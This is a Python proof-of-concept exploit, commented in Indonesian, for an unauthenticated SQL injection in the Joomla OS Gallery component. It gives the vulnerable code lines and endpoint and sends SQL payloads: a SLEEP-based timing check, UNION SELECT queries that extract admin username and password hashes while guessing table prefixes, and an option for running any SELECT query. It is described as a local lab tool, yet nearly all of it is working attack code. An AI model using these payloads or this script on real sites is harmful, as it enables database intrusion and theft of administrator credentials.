#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PoC CVE-2026-88854 — OS Gallery (com_osgallery) < 6.2.7 untuk Joomla
Unauthenticated SQL Injection via mod_osgallery_search (CWE-89, CVSS 9.3).

Akar masalah (kode terverifikasi, paket 6.2.6):
- components/com_osgallery/helpers/osGalleryHelperSite.php
  L1309: $search_text = $input->getVar('textsearch', '');
  L1371: $search_text = "'%" . $search_text . "%'";  (di-wrap tanda kutip)
  L1379: $search_string = " AND gim.title LIKE " . $search_text . " ";
  -> masukan DIREKAM apa adanya ke dalam klausa LIKE. $input->getVar()
  di Joomla 6 jatuh ke magic __call('getVar') yang memakai filter 'var'
  (hanya strip tag HTML) — kutip/kata kunci SQL lolos utuh.
- Endpoint publik tanpa login: index.php?option=com_osgallery&task=searhResult
  (&moduleId=<id module mod_osgallery_search>&textsearch=<payload>).

Catatan kejujuran:
* Klausa LIKE di-wrap '%...%', jadi payload harus MENUTUP string dulu
  (prefix x%') sebelum UNION. Titik-koma di tengah query ditolak MySQL
  (multi-statement) — gunakan penutup kutip + komentar `-- `.
* Bukti: (1) time-based — UNION SELECT ... SLEEP(4) menunda respons
  ~4 detik; (2) UNION SELECT — ekstrak CONCAT(username,':',password) dari
  #__users tampil di URL gambar hasil pencarian.
* Prasyarat konten lab: module mod_osgallery_search terpublish dengan
  search_title aktif + galeri berisi gambar terpublish (setting_from_gallery
  mengarah ke galeri) — dibuat saat setup lab (ekuivalen situs nyata yang
  memasang search box OS Gallery).
* Paket 6.2.6 lab adalah rekonstruksi resmi (revert hunk protectInjection
  dari 6.2.7) sesuai persetujuan owner — lihat README.
"""

import argparse
import re
import sys
import time
from urllib.parse import quote

import requests

requests.packages.urllib3.disable_warnings()

S = requests.Session()
S.verify = False
S.headers.update({"User-Agent": "Mozilla/5.0 LabPoC/1.0 (CVE-2026-88854)"})
TIMEOUT = 40


def banner(target):
    print("[*] ==========================================================")
    print("[*] PoC CVE-2026-88854 — OS Gallery < 6.2.7 (Joomla)")
    print("[*] Unauth SQLi via mod_osgallery_search (CWE-89, 9.3)")
    print("[*] Target: {}".format(target))
    print("[*] ==========================================================")


def url_sqli(base, module_id, payload):
    return (base + "/index.php?option=com_osgallery&task=searhResult"
            "&moduleId={}&textsearch={}".format(module_id, quote(payload, safe="")))


def tahap_1_konektivitas(base):
    print("[*] [1/5] Mengecek konektivitas target Joomla ...")
    try:
        r = S.get(base + "/", timeout=TIMEOUT)
    except requests.RequestException as e:
        print("[-] Target tidak terjangkau: {}".format(e))
        return False
    if r.status_code != 200:
        print("[-] HTTP {} — target tidak merespons.".format(r.status_code))
        return False
    m = re.search(r'<meta name="generator" content="Joomla!', r.text)
    print("[+] Target hidup ({}).".format("Joomla" if m else "HTTP 200"))
    return True


def tahap_2_get(base, module_id, payload, label):
    url = url_sqli(base, module_id, payload)
    t0 = time.time()
    try:
        r = S.get(url, timeout=TIMEOUT)
    except requests.RequestException as e:
        print("[-] {} gagal: {}".format(label, e))
        return None
    dt = time.time() - t0
    print("[*]   {} -> HTTP {} dalam {:.1f} detik".format(label, r.status_code, dt))
    return {"status": r.status_code, "text": r.text, "waktu": dt}


def tahap_3_timebased(base, module_id):
    print("[*] [2/5] Konfirmasi time-based (UNION SELECT ... SLEEP(4)) ...")
    a = tahap_2_get(base, module_id, "x%' UNION SELECT 1,2,3,4,SLEEP(4),6,7,8,9,10-- -", "SLEEP(4)")
    b = tahap_2_get(base, module_id, "x%' UNION SELECT 1,2,3,4,SLEEP(0),6,7,8,9,10-- -", "SLEEP(0)")
    if not a or not b:
        return False
    if a["waktu"] < 3.5:
        print("[-] Tidak ada keterlambatan — SQLi tidak terkonfirmasi (prasyarat lab belum terpenuhi?).")
        return False
    print("[+] Respons SLEEP(4) ~{:.1f}s vs SLEEP(0) ~{:.1f}s -> INJEKSI SQL TERKONFIRMASI.".format(a["waktu"], b["waktu"]))
    return True


def tahap_4_union_users(base, module_id):
    print("[*] [3/5] Mengekstrak kredensial admin via UNION SELECT ...")
    payload = ("x%' UNION SELECT 1,(SELECT CONCAT(username,0x3a,password) "
               "FROM #__users ORDER BY id LIMIT 1),'x',0,'t','d','2026-09-22',1,'{}',0-- -")
    # ganti prefix tabel placeholder dengan tebakan umum; coba beberapa prefix
    for prefix in ("j854", "jos", "bam", "fx"):
        p = payload.replace("#__", prefix + "_")
        r = tahap_2_get(base, module_id, p, "prefix {}".format(prefix))
        if r is None or r["status"] != 200:
            continue
        m = re.search(r'original/([^"\s<>]{6,140})', r["text"])
        if m and "$2y$" in m.group(1):
            print("[+] ==========================================================")
            print("[+] EKFILTRASI TERVERIFIKASI — username:hash (#__users):")
            print("[+]   {}".format(m.group(1)[:120]))
            print("[+] ==========================================================")
            return m.group(1)
    print("[-] Ekstraksi gagal — periksa prefix tabel (--prefix).")
    return None


def tahap_5_union_beban(base, module_id, prefix, query):
    print("[*] [4/5] Query bebas: {}".format(query))
    payload = ("x%' UNION SELECT 1,({}),'x',0,'t','d','2026-09-22',1,'{{}}',0-- -".format(query))
    p = payload.replace("#__", prefix + "_")
    r = tahap_2_get(base, module_id, p, "bebas")
    if r and r["status"] == 200:
        m = re.search(r'original/([^"\s<>]{2,140})', r["text"])
        if m:
            print("[+]   hasil: {}".format(m.group(1)[:130]))
            return m.group(1)
    print("[-]   query bebas gagal.")
    return None


def main():
    ap = argparse.ArgumentParser(description="PoC CVE-2026-88854 (lab lokal)")
    ap.add_argument("--target", default="http://cve-2026-88854.test")
    ap.add_argument("--module-id", type=int, default=112)
    ap.add_argument("--query", default=None, help="query SELECT bebas (tahap 4)")
    a = ap.parse_args()
    base = a.target.rstrip("/")

    banner(base)
    if not tahap_1_konektivitas(base):
        sys.exit(1)
    if not tahap_3_timebased(base, a.module_id):
        sys.exit(1)
    hasil = tahap_4_union_users(base, a.module_id)
    if not hasil:
        sys.exit(1)
    if a.query:
        tahap_5_union_beban(base, a.module_id, "j854", a.query)
    print("[*] PoC selesai: SQLi unauth -> ekstraksi kredensial admin BERHASIL end-to-end.")
    sys.exit(0)


if __name__ == "__main__":
    main()
